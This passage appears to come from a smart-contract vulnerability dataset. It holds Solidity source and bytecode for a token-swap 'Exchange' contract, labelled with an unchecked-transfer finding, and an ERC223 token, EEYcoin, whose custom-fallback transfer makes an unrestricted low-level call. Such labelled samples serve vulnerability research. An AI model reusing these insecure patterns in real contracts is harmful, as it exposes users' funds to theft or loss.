* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
//
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface ILiquidityPool {
function PCT_PRECISION() external view returns(uint256);
function TOKENS (uint256) external view returns (address);
function TOKENS_MUL (uint256) external view returns (uint256);
function balance (uint256 token_) external view returns (uint256);
function borrowFee() external view returns(uint256);
function calcBorrowFee (uint256 amount_) external view returns (uint256);
function borrow (
uint256[5] calldata amounts_,
bytes calldata data_
) external;
}
contract Exchange is ReentrancyGuard, Ownable {
using SafeMath for uint256;
ILiquidityPool public liquidityPool;
uint256 pctPrecision;
event SetLiquidityPool(address indexed liquidityPool);
event Swap(address indexed user, uint256 inTokenIndex, uint256 outTokenIndex, uint256 inAmount, uint256 outAmount);
constructor(address liquidityPool_)
{
setLiquidityPool(liquidityPool_);
}
/***************************************
ADMIN
****************************************/
function setLiquidityPool(address liquidityPool_)
public
onlyOwner
{
liquidityPool = ILiquidityPool(liquidityPool_);
pctPrecision = liquidityPool.PCT_PRECISION();
emit SetLiquidityPool(liquidityPool_);
}
/***************************************
PRIVATE
****************************************/
function _calculateOut(
uint256 inTokenIndex_,
uint256 outTokenIndex_,
uint256 inAmount_
)
private
view
returns(uint256)
{
uint256 _borrowFee = liquidityPool.borrowFee();
uint256 _inAmountNorm = inAmount_.mul(liquidityPool.TOKENS_MUL(inTokenIndex_));
uint256 _outAmountNorm = _inAmountNorm.mul(pctPrecision).div(_borrowFee.add(pctPrecision));
return _outAmountNorm.div(liquidityPool.TOKENS_MUL(outTokenIndex_));
}
/***************************************
ACTIONS
****************************************/
function swap(
uint256 inTokenIndex_,
uint256 outTokenIndex_,
uint256 inAmount_
)
external
nonReentrant
returns (uint256)
{
address _inToken = liquidityPool.TOKENS(inTokenIndex_);
address _outToken = liquidityPool.TOKENS(outTokenIndex_);
uint256[5] memory _amounts;
_amounts[outTokenIndex_] = _calculateOut(inTokenIndex_, outTokenIndex_, inAmount_);
bytes memory _data = abi.encodeWithSignature(
"callBack(address,uint256,uint256)",
msg.sender, _inToken, inAmount_
);
liquidityPool.borrow(_amounts, _data);
IERC20(_outToken).transfer(msg.sender, _amounts[outTokenIndex_]);
emit Swap(msg.sender, inTokenIndex_,outTokenIndex_, inAmount_, _amounts[outTokenIndex_]);
return _amounts[outTokenIndex_];
}
function callBack(
address sender_,
uint256 inToken_,
uint256 inAmount_
)
external
{
require(msg.sender == address(liquidityPool), "wrong caller");
IERC20(inToken_).transferFrom(sender_, address(liquidityPool), inAmount_);
}
/***************************************
GETTERS
****************************************/
function calculateOut(
uint256 inTokenIndex_,
uint256 outTokenIndex_,
uint256 inAmount_
)
external
view
returns(uint256)
{
return _calculateOut(inTokenIndex_, outTokenIndex_, inAmount_);
}
}
|
0x608060405234801561001057600080fd5b50600436106100875760003560e01c8063715018a61161005b578063715018a6146101b25780638da5cb5b146101bc5780639d9892cd146101f0578063f2fde38b1461024657610087565b806251f3cc1461008c57806301877020146100e25780630b12905e14610126578063665a11ca1461017e575b600080fd5b6100cc600480360360608110156100a257600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061028a565b6040518082815260200191505060405180910390f35b610124600480360360208110156100f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102a0565b005b61017c6004803603606081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061047f565b005b610186610634565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101ba61065a565b005b6101c46107ca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102306004803603606081101561020657600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506107f4565b6040518082815260200191505060405180910390f35b6102886004803603602081101561025c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4c565b005b6000610297848484610f41565b90509392505050565b6102a86111b8565b73ffffffffffffffffffffffffffffffffffffffff166102c66107ca565b73ffffffffffffffffffffffffffffffffffffffff161461034f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1d845146040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f857600080fd5b505afa15801561040c573d6000803e3d6000fd5b505050506040513d602081101561042257600080fd5b81019080805190602001909291905050506003819055508073ffffffffffffffffffffffffffffffffffffffff167fe926a1c76b7cba5ee912418709df854ad32aab2035491b1d0ce9c0117735452f60405160405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f77726f6e672063616c6c6572000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd84600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156105f357600080fd5b505af1158015610607573d6000803e3d6000fd5b505050506040513d602081101561061d57600080fd5b810190808051906020019092919050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106626111b8565b73ffffffffffffffffffffffffffffffffffffffff166106806107ca565b73ffffffffffffffffffffffffffffffffffffffff1614610709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006002600054141561086f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026000819055506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331979041866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156108ec57600080fd5b505afa158015610900573d6000803e3d6000fd5b505050506040513d602081101561091657600080fd5b810190808051906020019092919050505090506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331979041866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561099e57600080fd5b505afa1580156109b2573d6000803e3d6000fd5b505050506040513d60208110156109c857600080fd5b810190808051906020019092919050505090506109e3611357565b6109ee878787610f41565b8187600581106109fa57fe5b6020020181815250506060338487604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527f0b12905e000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e9ccbfd383836040518363ffffffff1660e01b81526004018083600560200280838360005b83811015610b4b578082015181840152602081019050610b30565b5050505090500180602001828103825283818151815260200191508051906020019080838360005b83811015610b8e578082015181840152602081019050610b73565b50505050905090810190601f168015610bbb5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015610bdb57600080fd5b505af1158015610bef573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33848a60058110610c1c57fe5b60200201516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c7457600080fd5b505af1158015610c88573d6000803e3d6000fd5b505050506040513d6020811015610c9e57600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737898989868c60058110610cf757fe5b60200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a2818760058110610d3257fe5b602002015194505050505060016000819055509392505050565b610d546111b8565b73ffffffffffffffffffffffffffffffffffffffff16610d726107ca565b73ffffffffffffffffffffffffffffffffffffffff1614610dfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061137a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e626648a6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fac57600080fd5b505afa158015610fc0573d6000803e3d6000fd5b505050506040513d6020811015610fd657600080fd5b8101908080519060200190929190505050905060006110ab600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631bb1c880886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561106157600080fd5b505afa158015611075573d6000803e3d6000fd5b505050506040513d602081101561108b57600080fd5b8101908080519060200190929190505050856111c090919063ffffffff16565b905060006110ea6110c76003548561124690919063ffffffff16565b6110dc600354856111c090919063ffffffff16565b6112ce90919063ffffffff16565b90506111ac600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631bb1c880886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561116257600080fd5b505afa158015611176573d6000803e3d6000fd5b505050506040513d602081101561118c57600080fd5b8101908080519060200190929190505050826112ce90919063ffffffff16565b93505050509392505050565b600033905090565b6000808314156111d35760009050611240565b60008284029050828482816111e457fe5b041461123b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113a06021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156112c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000808211611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161134e57fe5b04905092915050565b6040518060a0016040528060059060208202803683378082019150509050509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122049f0ed21baf87f63ae3117e22a1492d57329fd80994229a3ec70ee61ce0c569564736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,359 |
0xd6bdf5d0aa3de762d0dd65bcc5c143687ee6e192
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract EEYcoin is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "EEYcoin";
string internal symbol_ = "EEY";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 100000000e18;
uint256 public toGiveBase = 3e18;
uint256 public increaseBase = 100e18;
uint256 public OfficalHold = totalSupply_.mul(18).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=20000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function EEYcoin (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>1e15){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
value=value.add(toGiveBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x6060604052600436106102215763ffffffff60e060020a60003504166306fdde03811461022b578063095ea7b3146102b557806314ffbafc146102eb57806318160ddd146102fe5780631d3795e814610323578063227a79111461033657806323b872dd146103495780632e23062d14610371578063313ce5671461038457806342966c68146103ad578063502dadb0146103c357806351cff8d9146104125780635dfc34591461043157806370a0823114610444578063781c0db414610463578063829c34281461047657806382c6b2b6146104895780638da5cb5b1461049c57806395d89b41146104cb57806397b68b60146104de5780639b1cbccc146104f15780639c09c83514610504578063a6f9dae114610553578063a8c310d514610572578063a9059cbb14610601578063aa6ca80814610221578063b45be89b14610623578063bc2d10f114610636578063bcf6b3cd14610649578063be45fd6214610668578063c108d542146106cd578063c489744b146106e0578063cbbe974b14610705578063d1b6a51f14610724578063d4b8399214610737578063d83623dd1461074a578063d8a543601461075d578063dd62ed3e14610770578063df68c1a214610795578063e58fc54c146107a8578063e6b71e45146107c7578063e7f9e40814610856578063eab136a014610869578063efca2eed14610888578063f3e4877c1461089b578063f6368f8a146108ec578063f9f92be414610993575b6102296109b2565b005b341561023657600080fd5b61023e610bdd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561027a578082015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102c057600080fd5b6102d7600160a060020a0360043516602435610c85565b604051901515815260200160405180910390f35b34156102f657600080fd5b6102d7610cf1565b341561030957600080fd5b610311610d2f565b60405190815260200160405180910390f35b341561032e57600080fd5b6102d7610d35565b341561034157600080fd5b610311610d72565b341561035457600080fd5b6102d7600160a060020a0360043581169060243516604435610d78565b341561037c57600080fd5b610311610f56565b341561038f57600080fd5b610397610f5c565b60405160ff909116815260200160405180910390f35b34156103b857600080fd5b610229600435610f65565b34156103ce57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061105195505050505050565b341561041d57600080fd5b610229600160a060020a03600435166110df565b341561043c57600080fd5b610311611132565b341561044f57600080fd5b610311600160a060020a0360043516611138565b341561046e57600080fd5b6102d7611153565b341561048157600080fd5b6102d7611194565b341561049457600080fd5b6103116111c4565b34156104a757600080fd5b6104af6111ca565b604051600160a060020a03909116815260200160405180910390f35b34156104d657600080fd5b61023e6111d9565b34156104e957600080fd5b6102d761124c565b34156104fc57600080fd5b6102d761125a565b341561050f57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061129a95505050505050565b341561055e57600080fd5b610229600160a060020a0360043516611324565b341561057d57600080fd5b61022960046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061137a95505050505050565b341561060c57600080fd5b6102d7600160a060020a0360043516602435611456565b341561062e57600080fd5b6103116114a6565b341561064157600080fd5b6102d76114ac565b341561065457600080fd5b6102d76004356024356044356064356114ef565b341561067357600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061152b95505050505050565b34156106d857600080fd5b6102d761156d565b34156106eb57600080fd5b610311600160a060020a0360043581169060243516611576565b341561071057600080fd5b610311600160a060020a03600435166115f3565b341561072f57600080fd5b6102d7611605565b341561074257600080fd5b6104af611614565b341561075557600080fd5b6102d7611623565b341561076857600080fd5b61031161164f565b341561077b57600080fd5b610311600160a060020a0360043581169060243516611655565b34156107a057600080fd5b6102d7611680565b34156107b357600080fd5b6102d7600160a060020a0360043516611689565b34156107d257600080fd5b6102296004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506117a695505050505050565b341561086157600080fd5b6102d7611860565b341561087457600080fd5b610311600160a060020a036004351661188c565b341561089357600080fd5b61031161189e565b34156108a657600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506118a492505050565b34156108f757600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061193895505050505050565b341561099e57600080fd5b6102d7600160a060020a0360043516611bf2565b6013546000908190819060ff16156109c957600080fd5b600160a060020a03331660009081526003602052604090205460ff16156109ef57600080fd5b600f54600c541115610a0257600f54600c555b33925034915066038d7ea4c68000821115610aad5760135462010000900460ff1615610a2d57600080fd5b601254610a4190839063ffffffff611c0716565b9050610a58600c5482611c2b90919063ffffffff16565b600f54909150811115610a6a57600080fd5b610a748382611c3a565b50600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610aa857600080fd5b610bbf565b601354610100900460ff16158015610ac95750600f54600c5411155b8015610aef5750600654600160a060020a03841660009081526004602052604090205411155b8015610b135750600160a060020a0383166000908152600560205260409020544210155b1515610b1e57600080fd5b600d54600160a060020a038416600090815260046020526040902054610b5b91610b4e919063ffffffff611c0716565b829063ffffffff611c2b16565b9050610b72600c5482611c2b90919063ffffffff16565b600160a060020a0384166000908152600460205260409020805460010190559050610b9d8382611c3a565b50600160a060020a038316600090815260056020526040902062015180420190555b600b5460105410610bd8576013805460ff191660011790555b505050565b610be56120ec565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181